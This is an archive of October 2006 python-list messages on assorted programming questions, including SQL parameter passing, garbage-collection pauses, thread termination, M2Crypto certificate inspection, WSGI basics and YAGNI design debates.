Date: Wed, 4 Oct 2006 15:40:34 +0200
Subject: Python to use a non open source bug tracker?
References: <22pUg.132825$zy5.1820633@twister1.libero.it>
	<1159908166.587313.57370@i3g2000cwc.googlegroups.com>
	<7xr6xo97nd.fsf@ruckus.brouhaha.com>
	<efv582$6i9$1@sea.gmane.org> <87ac4ciynk.fsf@benfinney.id.au>
	<mailman.1222.1159934082.10491.python-list@python.org>
Message-ID: <1hmownm.1krarjq16rt74aN%dialUAZ###UZ#$AAtone@gWARAmail.com>

Terry Reedy <tjreedy at udel.edu> wrote:

> As I understood B.C.'s announcement, that was one of the judging criteria,
> and the plan is for PSF to get a daily backup dump of the data.

This had nothing to do with the choice of not using Trac or Launchpad.

Quoting Brett Cannon from the original mail:
""
As for Trac and Launchpad, both had fundamental issues that led to them
not being chosen in the end.  Most of the considerations had to do with
customization or UI problems.
""

So clearly the 'get a daily backup of the data' is not the reason.
Backing up a sqlite database is pretty easy.

-- 
Valentino Volonghi aka Dialtone
Now Running MacOSX 10.4
Blog: http://vvolonghi.blogspot.com
New Pet: http://www.stiq.it


From python.sam at googlemail.com  Sat Oct  7 14:17:13 2006
From: python.sam at googlemail.com (sam)
Date: 7 Oct 2006 11:17:13 -0700
Subject: error handling in user input: is this natural or just laborious
In-Reply-To: <1160226608.508743.173400@e3g2000cwe.googlegroups.com>
References: <1160165545.417968.276460@b28g2000cwb.googlegroups.com>
	<1160226608.508743.173400@e3g2000cwe.googlegroups.com>
Message-ID: <1160245033.295822.50640@i3g2000cwc.googlegroups.com>

a huge amount to think about there. special thanks to james for taking
the time to make such   detailed responses. the problem is that even
though nested loops and the like place a heavy analytical burden on the
programmer (i.e. me) as he tries to remember what does what,
conceptualizing a program as a collection of classes and functions tied
together with a minimal amount of code brings to bear what is, at the
moment, an even greater burden.

my gut feeling is that, over time (as james said was true in his own
case), and with practice, the relative weights of these two burdens
change so that the procedural approach becomes easier to adopt, and its
benefits of readability and maintainability easier to enjoy. fingers
crossed...

i will continue coding the monte carlo machine until it does what i
want in more or less clumsy fashion, and might put it up here if it
feels like it would be of interest.

thanks again,

sam



From ldo at geek-central.gen.new_zealand  Mon Oct  9 00:14:08 2006
From: ldo at geek-central.gen.new_zealand (Lawrence D'Oliveiro)
Date: Mon, 09 Oct 2006 17:14:08 +1300
Subject: Why do this?
References: <mailman.1336.1160044062.10491.python-list@python.org>
	<Xns985378283690Dduncanbooth@127.0.0.1>
	<mailman.1442.1160128745.10491.python-list@python.org>
	<Xns98547173763B6duncanbooth@127.0.0.1>
Message-ID: <egci8i$43p$1@lust.ihug.co.nz>

In message <Xns98547173763B6duncanbooth at 127.0.0.1>, Duncan Booth wrote:

> Corrado Gioannini <gioco at nekhem.com> wrote:
> 
>> I often do things like this:
>> 
>>   sql = a_complex_select_sql % (id_foo, value_bar, ...)
>>   cursor.execute(sql)
>> 
>> inside the body of a function (or a class method), where
>> a_complex_select_sql is a string, containing several %s, %d ecc.,
>> that is defined globally (or somewhere else in the class).
>> 
> I hope you have a good reason why you don't do:
> 
>   cursor.execute(a_complex_select_sql, (id_foo, value_bar, ...))
> 
> instead.

I use the above when I can, when I can't I fall back on
<http://groups.google.co.nz/groups?selm=efc5b3$can$1 at lust.ihug.co.nz>,
<http://groups.google.co.nz/groups?selm=efhn5v$fia$2 at lust.ihug.co.nz>.


From cems at earthlink.net  Sun Oct  1 10:33:07 2006
From: cems at earthlink.net (charlie strauss)
Date: Sun, 1 Oct 2006 10:33:07 -0400 (EDT)
Subject: Is this a bug? Python intermittently stops dead for seconds
Message-ID: <32108776.1159713187905.JavaMail.root@elwamui-chisos.atl.sa.earthlink.net>

Steve and other good folks who replied:

I want to clarify that, on my computer, the first instance of the gap occurs way before the memory if filled. (at about 20% of physical ram).  Additionally the process monitor shows no page faults.

  Yes if you let the as-written demo program  run to completetion (all 20,000 iterations) then on many computers it would not be surprising that your computer eventually goes into forced page swapping at some point.  That would be expected and is not the issue than the one I am concerned with.

in my case starts glicthing at around iteration 1000.

1000(bars) x 100(foos)x(10 integers in array)

is nominally 
100,000 class objects and
1,000,000 array elements.

(note that the array if filled as [1]*10, so there is actually only one "integer", but 10 array elements refering to it, per foo class.)


However steve may have put his finger on the reason why the duration grows with time.  Here is my current hypothesis.  The design of the program does not have and points where significant amounts of memory are released: all objects have held references till the end.  But prehaps there are some implicitly created objects of the same size created along the way???  For example when I write

me.memory = [1]*nfoo

perhaps internally, python is allocating an array of size foo and then __copying__ it into me.memory???  Since there is no reference to the intermediate it would then marked for future garbage collection.   

If that were true then the memory would have interleaved entities of things to GC and things with references held in me.memory.

Then to remove these would require GC to scan the entire set of existing objects, which is growing.

Turning off GC would prevent this.


In any case I don't think what I'm doing is very unusual.  The original program that trigger my investigation of the bug was doing this:

foo was an election ballot holding 10 outcomes, and bar was a set of 100 ballots from 100 voting machines, and the total array was holding the ballot sets from a few thousand voting machines.  

Almost any inventory program is likely to have such a simmilar set of nested array, so it hardly seems unusual.







From claus.tondering at gmail.com  Tue Oct 10 10:20:31 2006
From: claus.tondering at gmail.com (Claus Tondering)
Date: 10 Oct 2006 07:20:31 -0700
Subject: Using the imp module
In-Reply-To: <mailman.212.1160488524.11739.python-list@python.org>
References: <1160487276.256447.187000@i42g2000cwa.googlegroups.com>
	<mailman.212.1160488524.11739.python-list@python.org>
Message-ID: <1160490031.724373.8230@k70g2000cwa.googlegroups.com>

Fredrik Lundh wrote:
>     globals().update(vars(__import__("xyzzy")))

Thank you, I can use that in some cases. However, I need to import a
file that is not in the load path. The imp module allows me to specify
a path name; but as far as I know, the __import__ function does not
allow me to do that.

--
Claus Tondering



From fredrik at pythonware.com  Fri Oct 13 04:54:34 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Fri, 13 Oct 2006 10:54:34 +0200
Subject: Python component model
References: <W5wWg.7118$Y24.2917@newsread4.news.pas.earthlink.net><pan.2006.10.09.18.24.45.251048@gmx.net><452b7aae$0$306$426a74cc@news.free.fr>	<eghai4$615$1@online.de>	<1160562945.079609.98640@m7g2000cwm.googlegroups.com><mailman.308.1160564020.11739.python-list@python.org>
	<452f51a3$0$30999$426a74cc@news.free.fr>
Message-ID: <egnk8a$bk9$1@sea.gmane.org>

Bruno Desthuilliers wrote:

>>> Meanwhile, the Web programming standardisation scene remains
>>> stagnant.
>>
>> Aw, come on.  The Python web programming standardisation wars are over, for now.
>> There's Django, and there's TurboGears,
>
> And there's Pylons...

and a zillion other more or less interesting research projects.  I don't see any traces
of the kind of ecosystems and market awareness that exist for Zope, Django, and
TurboGears (or for that matter, Rails and Mason), for any other Python web pro-
gramming tool.

</F> 





From fredrik at pythonware.com  Mon Oct 30 15:33:48 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Mon, 30 Oct 2006 21:33:48 +0100
Subject: Python 123 introduction
In-Reply-To: <17734.19013.487093.23589@montanaro.dyndns.org>
References: <ei4k1t$97e$1@gemini.csx.cam.ac.uk>	<1162230329.413075.93370@b28g2000cwb.googlegroups.com>
	<17734.19013.487093.23589@montanaro.dyndns.org>
Message-ID: <ei5njc$9na$1@sea.gmane.org>

skip at pobox.com wrote:

> I'm not trying to minimize Jeremy's efforts in any way, but how is his
> tutorial a significant improvement over the original
> (http://www.python.org/doc/current/tut/)?

don't forget the community-enhanced edition over at:

    pytut.infogami.com

</F>



From jstroud at mbi.ucla.edu  Fri Oct 13 03:52:14 2006
From: jstroud at mbi.ucla.edu (James Stroud)
Date: Fri, 13 Oct 2006 07:52:14 GMT
Subject: Efficiently iterating over part of a list
In-Reply-To: <GxHXg.22330$Ij.1572@newssvr14.news.prodigy.com>
References: <pan.2006.10.13.07.35.48.237633@REMOVEME.cybersource.com.au>
	<GxHXg.22330$Ij.1572@newssvr14.news.prodigy.com>
Message-ID: <OAHXg.22331$Ij.7212@newssvr14.news.prodigy.com>

James Stroud wrote:
> Steven D'Aprano wrote:
>> If I want to iterate over part of the list, the normal Python idiom is to
>> do something like this:
>>
>> alist = range(50)
>> # first item is special
>> x = alist[0]
>> # iterate over the rest of the list
>> for item in alist[1:]
>>     x = item
>>
>> The important thing to notice is that alist[1:] makes a copy. What if the
>> list has millions of items and duplicating it is expensive? What do 
>> people
>> do in that case?
>>
>> Are there better or more Pythonic alternatives to this obvious C-like
>> idiom?
>>
>> for i in range(1, len(alist)):
>>     x = alist[i]
>>
>>
> 
> I think this is a job for iterators:
> 
> listiter = iter(alist)
> 
> first_item_is_special = listiter.next()
> 
> for not_special_item in listiter:
>   do_stuff_with(not_special_item)
> 
> 
> Other solutions might involve enumerators:
> 
> special = [i for i in xrange(50) if not i%13]
> 
> for i,item in alist:
>   if i in special:
>     do_something_special_with(item)
>   else:
>     do_other_stuff_with(item)
> 
> James
> 
> 
> James

I mean

for i,item in enumerate(alist):


From mail at microcorp.co.za  Sat Oct 14 11:15:47 2006
From: mail at microcorp.co.za (Hendrik van Rooyen)
Date: Sat, 14 Oct 2006 17:15:47 +0200
Subject: Thread termination
References: <1160732308.053202.225450@b28g2000cwb.googlegroups.com><mailman.497.1160806083.11739.python-list@python.org>
	<slrnej17pg.lsn.nick@irishsea.home.craig-wood.com>
Message-ID: <00a401c6efa3$a1406ee0$03000080@hendrik>

"Nick Craig-Wood" <nick at craig-wood.com> wrote:


> Hendrik van Rooyen <mail at microcorp.co.za> wrote:
> >  can't be done from outside without co operation of thread in question.
> >  google this newsgroup
> 
> Hopefully google will discover also the thread where the above statement is
> proved to be false ;-)
> 
> This might be a useful thing to search for...
> 
> ctypes.pythonapi.PyThreadState_SetAsyncExc
> 

Where were you when we needed you some week or two ago?

I *could* argue that using ctypes is cheating.... - But I wont...

- Hendrik



From heikki at osafoundation.org  Wed Oct 25 15:04:45 2006
From: heikki at osafoundation.org (Heikki Toivonen)
Date: Wed, 25 Oct 2006 12:04:45 -0700
Subject: Obtaining SSL certificate info from SSL object - BUG?
In-Reply-To: <453D95EA.1020602@animats.com>
References: <453D95EA.1020602@animats.com>
Message-ID: <9bidnbfH8KUNKKLYnZ2dnUVZ_qednZ2d@comcast.com>

John Nagle wrote:
>     The Python SSL object offers two methods from obtaining
> the info from an SSL certificate, "server()" and "issuer()".
> The actual values in the certificate are a series of name/value
> pairs in ASN.1 binary format.  But what "server()" and "issuer()"
> return are strings, with the pairs separated by "/".  The

Is it an option for you to use 3rd party libraries (please note that the
Python stdlib SSL library does not do certificate validation etc. which
you'd typically want in a production application)?

With M2Crypto you could do something like this:

from M2Crypto import SSL

ctx = SSL.Context()
conn = SSL.Connection(ctx)
conn.connect(('www.verisign.com', 443))
cert = conn.get_peer_cert()
print cert.get_issuer().as_text()
print cert.get_subject().as_text()
try:
    print cert.get_ext('subjectAltName').get_value()
except LookupError:
    print 'no subjectAltName'
try:
    print cert.get_subject().CN
except AttributeError:
    print 'no commonName'

Please note, however, that if you need the server name because you want
to validate that you connected to the server you intended to, it would
be better to let M2Crypto do it for you or use the M2Crypto SSL.Checker
class explicitly yourself.

Other Python crypto libraries probably have equivalent APIs.

-- 
  Heikki Toivonen


From kent at kentsjohnson.com  Wed Oct  4 13:04:47 2006
From: kent at kentsjohnson.com (Kent Johnson)
Date: Wed, 04 Oct 2006 17:04:47 GMT
Subject: preemptive OOP?
In-Reply-To: <12i0iut89mqepcd@corp.supernews.com>
References: <e9USg.47$1n3.432@news.tufts.edu>
	<JZATg.3537$5i7.15@newsreading01.news.tds.net>
	<12i0iut89mqepcd@corp.supernews.com>
Message-ID: <PQRUg.4196$5i7.497@newsreading01.news.tds.net>

Mark Elston wrote:
> * Kent Johnson wrote (on 9/30/2006 2:04 PM):
>> John Salerno wrote:
>>> So my question in general is, is it a good idea to default to an OOP 
>>> design like my second example when you aren't even sure you will need 
>>> it? I know it won't hurt, and is probably smart to do sometimes, but 
>>> maybe it also just adds unnecessary code to the program.
>> In general, no. I'm a strong believer in You Aren't Going to Need It 
>> (YAGNI):
>> http://c2.com/xp/YouArentGonnaNeedIt.html
>>
>> because it *does* hurt
>> - you have to write the code in the first place
>> - every time you see a reference to MyNotebook you have to remind 
>> yourself that it's just a wx.Notebook
>> - anyone else looking at the code has to figure out that MyNotebook is 
>> just wx.Notebook, and then wonder if they are missing something subtle 
>> because you must have had a reason to create a new class...
>>
>> and so on...Putting in extra complexity because you think you will need 
>> it later leads to code bloat. It's usually a bad idea.
>>
>> Possible exceptions are
>> - If you are really, really, really sure you are going to need it 
>> really, really soon and it would be much, much easier to add it now then 
>> after the next three features go in, then you might consider adding it 
>> now. But are you really that good at predicting the future?
>> - When you are working in a domain that you are very familiar with and 
>> the last six times you did this job, you needed this code, and you have 
>> no reason to think this time is any different.
>>
>> You struck a nerve here, I have seen so clearly at work the difference 
>> between projects that practice YAGNI and those that are designed to meet 
>> any possible contingency. It's the difference between running with 
>> running shoes on or wet, muddy boots.
>>
>> Kent
> 
> I have only caught the tail of this thread so far so I may have missed
> some important info.  However, Kent's response is, I think, a bit of
> an oversimplification.
> 
> The answer to the original question, as quoted above, is ... it depends.
> On several things, actually.

Of course.

> However, when an application (or library) is designed to provide a more
> 'general purpose' solution to one or more problems and is likely to have
> a lifetime beyond the 'short term' (whatever that may mean to you), then
> OO can start to pay off.  In these kinds of applications you see the
> need for future maintenance and a likely need to expand on the existing
> solution to add new features or cover new ground.  This is made easier
> when the mechanism for this expansion is planned for in advance.

I am a fan of OOP and use it all the time. I was just arguing against 
using it when it is not called for.
> 
> Without this prior planning, any expansion (not to mention bug fixing)
> becomes more difficult and makes the resulting code more brittle.  While
> not all planning for the future requires OO, this is one mechanism that
> can be employed effectively *because* it is generally well understood
> and can be readily grasped *if* it is planned and documented well.

Unfortunately prior planning is an attempt to predict the future.
Correctly planning for future requirements is difficult. It is possible
to expand code without making it brittle.

Robert Martin has a great rule of thumb - first, do the simplest thing
that meets the current requirements. When the requirements change,
change the code so it will accommodate future changes of the same type.
Rather than try to anticipate all future changes, make the code easy to
change.

> 
> There is certainly a *lot* of 'Gratuitous OOP' (GOOP?) out there.  This
> isn't a good thing.  However, that doesn't mean that the use of OOP in
> any given project is bad.  It may be inappropriate.

In my experience a lot of GOOP results exactly from trying to anticipate 
future requirements, thus introducing unneeded interfaces, factories, etc.

Kent


From steve at holdenweb.com  Tue Oct 31 20:11:59 2006
From: steve at holdenweb.com (Steve Holden)
Date: Wed, 01 Nov 2006 01:11:59 +0000
Subject: import in threads: crashes & strange exceptions on dual core
	machines
In-Reply-To: <1162337365.070683.156670@h48g2000cwc.googlegroups.com>
References: <ei4vtc$220$1@news.albasani.net>	<1162264611.252985.208010@m7g2000cwm.googlegroups.com>	<ei7al7$9ik$1@news.albasani.net>
	<1162337365.070683.156670@h48g2000cwc.googlegroups.com>
Message-ID: <ei8s6o$fmt$1@sea.gmane.org>

Klaas wrote:
> robert wrote:
> 
>>Klaas wrote:
>>
>>>It seems clear that the import lock does not include fully-executing
>>>the module contents.  To fix this, just import cookielib before the
>>
>>What is the exact meaning of "not include fully-executing" - regarding the examples "import cookielib" ?
>>Do you really mean the import statement can return without having executed the cookielib module code fully?
>>(As said, a simple deadlock is not at all my problem)
> 
> 
> No, I mean that the import lock seems to not be held while the module
> contents are being executed (which would be why you are getting
> partially-initialized module in sys.modules).  Perhaps it _is_ held,
> but released at various points of the import process.  Someone more
> knowledgable of python internals will have to answer the question of
> what _should_ be occurring.
> 
... and who better than Tim Peters?

   http://mail.python.org/pipermail/python-list/2004-December/254497.html

HTH

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From mail at microcorp.co.za  Sat Oct 14 11:22:51 2006
From: mail at microcorp.co.za (Hendrik van Rooyen)
Date: Sat, 14 Oct 2006 17:22:51 +0200
Subject: Can I set up a timed callback without Tkinter or twisted or something?
Message-ID: <00ac01c6efa4$9d999180$03000080@hendrik>

Hi,

I want to do the equivalent of the after thingy in tkinter - setting up in
effect a timed call back.

My use case is as a "supervisory" timer - I want to set up an alarm, which I
want to cancel if the expected occurrence occurs - but its not a GUI app.

My googling gets a lot of stuff pointing to optparse...

Does the standard lib have anything like this?

- Hendrik



From hanumizzle at gmail.com  Tue Oct 10 04:12:14 2006
From: hanumizzle at gmail.com (Theerasak Photha)
Date: Tue, 10 Oct 2006 04:12:14 -0400
Subject: OT: Sarcasm and irony
In-Reply-To: <egfkeh$a45$1@sea.gmane.org>
References: <1160346615.575882.133580@h48g2000cwc.googlegroups.com>
	<4out4fFgdgouU1@individual.net> <4ov1acFgfmpmU1@uni-berlin.de>
	<4ov2eeFgh8t6U1@individual.net> <87y7rp9iyi.fsf_-_@benfinney.id.au>
	<463ff4860610092255h5d991d44yf4c5cae05da9d288@mail.gmail.com>
	<3bb44c6e0610100030w77cf39a8i404f152ea1a3f3d6@mail.gmail.com>
	<egfkeh$a45$1@sea.gmane.org>
Message-ID: <463ff4860610100112w6d40d8ffnb0cf282a394ca446@mail.gmail.com>

On 10/10/06, Steve Holden <steve at holdenweb.com> wrote:

> ... in America. It's well-known among Brits that Americans don't
> understand irony. They can be pretty oblique when it come to sarcasms
> too, for that matter.

Ford Prefect: "What?"

-- Theerasak


From antoine at vo.lu  Mon Oct  9 10:23:34 2006
From: antoine at vo.lu (Antoine De Groote)
Date: Mon, 09 Oct 2006 16:23:34 +0200
Subject: Dive Into Java?
In-Reply-To: <1160346615.575882.133580@h48g2000cwc.googlegroups.com>
References: <1160346615.575882.133580@h48g2000cwc.googlegroups.com>
Message-ID: <452a5b5b@news.vo.lu>

erikcw wrote:
> DiveIntoPython.org was the first book I read on python, and I really
> got a lot out of it.  I need to start learning Java (to maintain a
> project I've inherited), and was wondering if anyone knew of any
> similar books for Java?
> 
> Maybe once I know my way around the language, I can sneak Jython in...
> :-)
> 
> Thanks!
> Erik
> 


I also liked Bruce Eckel's Thinking in Java. I new Java already before, 
but this book was so fun to read that I read it anyway :-)


From python.sam at googlemail.com  Mon Oct  9 17:22:31 2006
From: python.sam at googlemail.com (sam)
Date: 9 Oct 2006 14:22:31 -0700
Subject: print time comparison: IDLE versus terminal on ultra 20
In-Reply-To: <1160345716.439170.117110@e3g2000cwe.googlegroups.com>
References: <1160332865.902895.315470@e3g2000cwe.googlegroups.com>
	<1160345716.439170.117110@e3g2000cwe.googlegroups.com>
Message-ID: <1160428951.061399.311880@c28g2000cwb.googlegroups.com>

i forgot to mention that i'm running a version of python 2.3 (think
it's 2.3.5), as that's what was installed and i'm not hooked up to the
internet with the ultra 20 yet. that may account for some of the
difference.

sam



From martin at v.loewis.de  Thu Oct 26 01:29:13 2006
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Thu, 26 Oct 2006 07:29:13 +0200
Subject: basic questions on cmp, < and sort
In-Reply-To: <ehp5hu$foo$1@news2.rz.uni-karlsruhe.de>
References: <ehp5hu$foo$1@news2.rz.uni-karlsruhe.de>
Message-ID: <454047A9.9020805@v.loewis.de>

Sch?le Daniel schrieb:
> first question
> 
> In [117]: cmp("ABC",['A','B','C'])
> Out[117]: 1
> 
> against what part of the list is the string "ABC" compared?

The names of the types are compared:

py> cmp("string", "list")
1

> second question
> 
> In [119]: class X(object):
>    .....:     pass
>    .....:
> 
> In [120]: X() < X()
> Out[120]: True
>
> what is this comparision is based on?

The addresses of the objects, in main memory.

> third question
> 
> sort([[1,2,3],["ABC"],['Z','A'], X(), 4)
> 
> how does python handle heterogenous items in the list
> in this case?

pair-by-pair. It is quite difficult to impose a total
order on all objects; this will go away in Python 3.

Regards,
Martin


From pretoriano_2001 at hotmail.com  Tue Oct 24 20:29:39 2006
From: pretoriano_2001 at hotmail.com (pretoriano_2001 at hotmail.com)
Date: 24 Oct 2006 17:29:39 -0700
Subject: Want to reduce steps of an operation with dictionaries
Message-ID: <1161736179.467075.307030@m73g2000cwd.googlegroups.com>

Hello:
I have next dictionaries:
a={'a':0, 'b':1, 'c':2, 'd':3}
b={'a':0, 'c':1, 'd':2, 'e':3}
I want to put in a new dictionary named c all the keys that are in b
and re-sequence the values. The result I want is:
c={'a':0, 'c':1, 'd':2}
How can I do this with one line of instruction?

I attempted the next but the output is not the expected:
c=dict([(k,v) for v,k in enumerate(a) if b.has_key(k)])
erroneously (for me) gets:
{'a': 0, 'c': 2, 'd': 3}

Thanks for your help.



From lialie at gmail.com  Thu Oct 12 11:20:36 2006
From: lialie at gmail.com (Mandy.Lialie)
Date: Thu, 12 Oct 2006 23:20:36 +0800
Subject: What is python(abi)?
In-Reply-To: <mailman.751.1160631951.11738.python-list@python.org>
References: <mailman.751.1160631951.11738.python-list@python.org>
Message-ID: <452E5D44.4030608@gmail.com>

Hi,
I have search it for quite a long time. But I still can't get it.
When I attempt to install yum and others, it always embarrasses me.
It says python(abi) = 2.4 is need.
I have version 2.4 at first. But have a try version 2.5, remove 2.4.
Both work well, and do well with wx.

OS: FC5
THX.


From onurb at xiludom.gro  Mon Oct  9 06:44:22 2006
From: onurb at xiludom.gro (Bruno Desthuilliers)
Date: Mon, 09 Oct 2006 12:44:22 +0200
Subject: WSGI - How Does It Affect Me?
In-Reply-To: <slrneiim1d.8tl.sybrenUSE@schuimige.stuvel.eu>
References: <mailman.70.1160336094.11739.python-list@python.org>
	<slrneiim1d.8tl.sybrenUSE@schuimige.stuvel.eu>
Message-ID: <452a2807$0$29202$426a74cc@news.free.fr>

Sybren Stuvel wrote:
> Gregory Pi?ero enlightened us with:
>> So I keep hearing more and more about this WSGI stuff, and honestly I
>> still don't understand what it is exactly
> 
> AFAIK it's a standard for web frameworks.

It's not. It's a protocol for HTTP servers <-> Python web applications
interaction, and barely higher-level than CGI itself.

> In such a framework, you
> receive a 'request' object, and return a 'response' object. If I'm
> correct, the WSGI describes things like the method and property names
> on those objects etc.

It's much more simple. The "request" is a CGI-environ like dict, the
"response" is made of a callable(http_code, *http_headers) plus an
iterable for the response's body. Here's the standard wsgi hello_world:

def hello_app(environ, start_response):
  start_response('200 OK', [('Content-type', 'text/plain')])
  return ['Hello WSGI World']


The WSGI spec is really dead-simple. It shouldn't take much more than 10
to 15 minutes to read and understand for anyone having some basic
knowledge about HTTP and web programming.

-- 
bruno desthuilliers
python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for
p in 'onurb at xiludom.gro'.split('@')])"


From sybrenUSE at YOURthirdtower.com.imagination  Sat Oct  7 17:32:01 2006
From: sybrenUSE at YOURthirdtower.com.imagination (Sybren Stuvel)
Date: Sat, 7 Oct 2006 23:32:01 +0200
Subject: operator overloading + - / * = etc...
References: <1160256250.688620.63770@h48g2000cwc.googlegroups.com>
Message-ID: <slrneig76h.6u2.sybrenUSE@schuimige.stuvel.eu>

SpreadTooThin enlightened us with:
> Can these operators be overloaded?

Yes.

> If so.  How?

Implement __add__, __sub__ etc. in the class that you want to be able
to add, subtract, etc.

Sybren
-- 
Sybren St??vel
St??vel IT - http://www.stuvel.eu/


From fulvio at tm.net.my  Sat Oct 21 05:34:30 2006
From: fulvio at tm.net.my (Fulvio)
Date: Sat, 21 Oct 2006 17:34:30 +0800
Subject: Debugging
Message-ID: <200610211734.30652.fulvio@tm.net.my>

***********************
Your mail has been scanned by InterScan MSS.
***********************


Hello,

I'm trying out a small utility and my method uses PDB for debugging. I tried 
to read some information regarding the commands of PDB but are rather 
synthetic. Mostly I'd like to understand the use of  "condition" command in 
terms to use breakpoints (BP) with functions.
Simple the first doubt was a counted BP. What variable using that BP and which 
function can be taken from the command line?

10x

F




From horpner at yahoo.com  Thu Oct 19 15:54:14 2006
From: horpner at yahoo.com (Neil Cerutti)
Date: 19 Oct 2006 21:54:14 +0200
Subject: invert or reverse a string... warning this is a rant
References: <eh8708$nc7$1@solaris.cc.vt.edu>
	<7iNZg.117$1n3.3352@news.tufts.edu>
	<p%OZg.16348$e66.11338@newssvr13.news.prodigy.com>
	<mailman.781.1161285358.11739.python-list@python.org>
Message-ID: <slrnejfm0l.tg.horpner@FIAD06.norwich.edu>

On 2006-10-19, Fredrik Lundh <fredrik at pythonware.com> wrote:
> James Stroud wrote:
>
> > without requiring an iterator
>
> can we perhaps invent some more arbitrary constraints while
> we're at it?

No letter G.  I don't like them.  They wet their nests.

-- 
Neil Cerutti
You only get a once-in-a-lifetime opportunity so many times.
--Ike Taylor


From mike.klaas at gmail.com  Wed Oct 25 15:35:25 2006
From: mike.klaas at gmail.com (Klaas)
Date: 25 Oct 2006 12:35:25 -0700
Subject: ZODB for inverted index?
In-Reply-To: <1161625143.942199.327550@i3g2000cwc.googlegroups.com>
References: <1161625143.942199.327550@i3g2000cwc.googlegroups.com>
Message-ID: <1161804925.457325.75950@i3g2000cwc.googlegroups.com>

vd12005 at yahoo.fr wrote:
> Hello,

Hi.  I'm not familiar with ZODB, but you might consider berkeleydb,
which behaves like a disk-backed + memcache dictionary.

-Mike



From mensanator at aol.com  Wed Oct 11 11:05:00 2006
From: mensanator at aol.com (mensanator at aol.com)
Date: 11 Oct 2006 08:05:00 -0700
Subject: OT: Sarcasm and irony
In-Reply-To: <12iq1dkhbudd9d7@corp.supernews.com>
References: <1160346615.575882.133580@h48g2000cwc.googlegroups.com>
	<4out4fFgdgouU1@individual.net> <4ov1acFgfmpmU1@uni-berlin.de>
	<4ov2eeFgh8t6U1@individual.net> <87y7rp9iyi.fsf_-_@benfinney.id.au>
	<463ff4860610092255h5d991d44yf4c5cae05da9d288@mail.gmail.com>
	<3bb44c6e0610100030w77cf39a8i404f152ea1a3f3d6@mail.gmail.com>
	<egfkeh$a45$1@sea.gmane.org>
	<3bb44c6e0610100150v63991f41i6e0233b5b8088842@mail.gmail.com>
	<mailman.193.1160473683.11739.python-list@python.org>
	<12iosfh75stcf0e@corp.supernews.com>
	<1160544879.915425.250200@m7g2000cwm.googlegroups.com>
	<12iq1dkhbudd9d7@corp.supernews.com>
Message-ID: <1160579100.680703.165390@h48g2000cwc.googlegroups.com>


Grant Edwards wrote:
> On 2006-10-11, mensanator at aol.com <mensanator at aol.com> wrote:
>
> >> Like Alanis Morisette said about the song "Isn't it Ironic":
> >> What's ironic about the song is that it doesn't actually
> >> contain any irony.
> >
> > Any? Don't people plan June weddings thinking the weather
> > will be nice? And isn't one of the defintions of irony when
> > things turn out the opposite of what you expect?
>
> Not really, no.

American Heritage Dictionary:
irony: 4. Incongruity between what might be expected to happen
and what actually occurs.

>
> --
> Grant Edwards                   grante             Yow!  - if it GLISTENS,
>                                   at               gobble it!!
>                                visi.com



From ocollioud at gmail.com  Mon Oct  2 03:27:34 2006
From: ocollioud at gmail.com (olive)
Date: 2 Oct 2006 00:27:34 -0700
Subject: Python/UNO/OpenOffice?
In-Reply-To: <slrnehs85g.ncj.sybrenUSE@schuimige.stuvel.eu>
References: <gknTg.6721$e66.6260@newssvr13.news.prodigy.com>
	<slrnehs85g.ncj.sybrenUSE@schuimige.stuvel.eu>
Message-ID: <1159774054.759748.293390@h48g2000cwc.googlegroups.com>

For me the problem is that OO2.0 is compiled against P2.3.

Is there any OO compiled with P2.4x for Windows somewhere ?

Sybren Stuvel wrote:
> Aside from what has already been said, it might be nice for you to
> read my article about OOo and Python at
> http://www.stuvel.eu/ooo-python ;-)



From ismael.pernas.c at gmail.es  Mon Oct 23 11:46:49 2006
From: ismael.pernas.c at gmail.es (ismael)
Date: Mon, 23 Oct 2006 17:46:49 +0200
Subject: File and directory permissions in windows
References: <mailman.984.1161616423.11739.python-list@python.org>
Message-ID: <ehio2b$fr196@cesio.mundo-r.com>

No feel guilty because all of us have a lot of things to do and usualy we
dont have time to do it.

My objective is check if some directories exist and if the user that execute
the perl script has access to some files and directories. If one of this
checkpoints failed the execution will be aborted. If all of then finish ok
the execution will continue. It's simply this.
Those scripts will be executed on windows and linux. I start to look python
because the MS-DOS utilities were so basic and when i try to do the same
with python i found the same problem with the permissions :P Then i try
Perl and what happens? the same problem...

Thanks for all.

Best regards.

Tim Golden wrote:

> [ismael]
> 
> | I have some problems to get the the permissions on windows. I
> | use a simple code that run perfectly in UNIX but give me wrong
> | information on Windows. I found this code searching by google:
> 
> [... snip ...]
> 
> | is there a solution for this?, another library or code?
> | Anything that i do wrong?
> 
> Well, I'm certainly feeling guilty, because I've had a
> note on my TODO list since the last time this came up
> a month or so ago.
> 
> In short, Windows doesn't really map the read/write/exec
> Posix model especially logically. AFAICT, the MS CRT code
> doesn't take account of NT permissions or things like PATHEXT
> at all -- which would give you non-readable or executable.
> The traditional DOS model only supports read-only
> (and hidden/system/archived which don't apply here) so
> there's no way, eg, for any combination of flags to indicate
> can't-read-at-all.
> 
> In short, *I* need to provide that doc patch I got halfway
> through, and *you* need to find a way around whatever you're
> trying to do on Windows. Depending on what you're after, you
> might end up with some sort of try-except framework, or using
> the win32security module from the pywin32 extensions.
> 
> Feel free to post again indicating what you're trying to do
> with the stat information.
> 
> TJG
> 
> ________________________________________________________________________
> This e-mail has been scanned for all viruses by Star. The
> service is powered by MessageLabs. For more information on a proactive
> anti-virus service working around the clock, around the globe, visit:
> http://www.star.net.uk
> ________________________________________________________________________



From johnjsal at NOSPAMgmail.com  Thu Oct 19 11:56:31 2006
From: johnjsal at NOSPAMgmail.com (John Salerno)
Date: Thu, 19 Oct 2006 15:56:31 GMT
Subject: wxPython help wxSashWindow
In-Reply-To: <1161268929.535719.288640@m73g2000cwd.googlegroups.com>
References: <1161266243.991025.174530@m7g2000cwm.googlegroups.com>
	<30MZg.115$1n3.3329@news.tufts.edu>
	<1161268929.535719.288640@m73g2000cwd.googlegroups.com>
Message-ID: <PeNZg.116$1n3.3352@news.tufts.edu>

MatthewWarren wrote:

> Thanks, is that a newsgroup I can view through google groups? I tried
